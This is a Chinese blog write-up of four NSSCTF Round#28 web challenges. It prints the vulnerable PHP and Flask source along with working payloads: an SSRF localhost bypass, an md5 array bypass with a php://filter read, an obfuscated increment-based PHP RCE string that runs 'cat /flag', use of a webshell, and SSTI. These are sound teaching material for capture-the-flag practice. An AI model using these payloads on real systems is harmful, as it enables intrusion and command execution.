NSSCTF Round#28-web
本文最后更新于306 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

NSSCTF Round#28-web

ez-ssrf

<?php
highlight_file(__FILE__);

//flag在/flag路由中

if (isset($_GET['url'])) {
    $url = $_GET['url'];

    if (strpos($url, 'http://') !== 0) {
        echo json_encode(["error" => "Only http:// URLs are allowed"]);
        exit;
    }

    $host = parse_url($url, PHP_URL_HOST);

    $ip = gethostbyname($host);

    $forbidden_ips = ['127.0.0.1', '::1'];
    if (in_array($ip, $forbidden_ips)) {
        echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
        exit;
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo json_encode(["error" => curl_error($ch)]);
    } else {
        echo $response;
    }

    curl_close($ch);
} else {
    echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?> 

简单的ssrf。

payload:

?url=http://0/flag

ez_php

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
    $a = $_POST['a'];
    $b = $_POST['b'];
    $password = $_GET['password'];

    if (is_numeric($password)) {
        die("password can't be a number</br>");
    } elseif ($password != 123456) {
        die("Wrong password</br>");
    }

    if ($a != $b && md5($a) === md5($b)) {
        echo "wonderful</br>";
        include($_POST['file']);   # level2.php
    }
}
?>

不是强相等,数组绕过即可.

include函数包含的文件会自动当作php文件来执行而不会输出。

所以读取level2.php源码需要用到php伪协议

payload:

GET:?password=123456f
POST:a[]=1&b[]=2&file=php://filter/read=convert.base64-encode/resource=level2.php

拿到level2源码

<?php
error_reporting(0);
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'-<?>"/|`a-zA-Z~\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}
?>

过滤里面有^和~所以无法用异或和取反,但是没过滤数字,可以用自增

最终payload:

GET:?password=123456f&1=system&2=cat /flag
POST:a[]=1&b[]=2&file=level2.php&rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B%20

light_pink

dirsearch扫一下有个shell.php后门。密码cmd

image-20250323143009273

蚁剑连一下,flag在/var/db.sql

image-20250323143039575

Coding Loving

给了源码

app = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):
    for keyword in FILTER_KEYWORDS:
        if keyword.lower() in complaint:
            return True
    return False
@app.route('/', methods=['GET', 'POST'])
def index():
    session['user'] = 'test'
    command = request.form.get('cmd', 'coding')
    return render_template('index.html', command=command)

@app.route('/test', methods=['GET', 'POST'])
def shell():
    if session.get('user') != 'test':
        return render_template('Auth.html')
    if (abc:=request.headers.get('User-Agent')) is None:
        return render_template('Auth.html')
    cmd = request.args.get('cmd', '试一试')
    if request.method == 'POST':
        css_url = url_for('static', filename='style.css')
        command = request.form.get('cmd')
        if contains_forbidden_keywords(command):
            return render_template('forbidden.html')
        return render_template_string(f'''
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Loving Music</title>
            <link rel="stylesheet" href="{css_url}">
            <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
        </head>
        <body>
            <div class="container">
                <h1>Loving coding</h1>
                <p class="emoji">🧑‍💻</p>
                <p>{command}</p>
            </div>
        </body>
        </html>
        ''', command=command,css_url=css_url)
    return render_template('shell.html', command=cmd)

很简单。我们就是要去/test路由post方法触发ssti,注意带着cookie。

fenjing直接跑

image-20250323144320390

然后rce即可

image-20250323144350705

image-20250323144405805

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇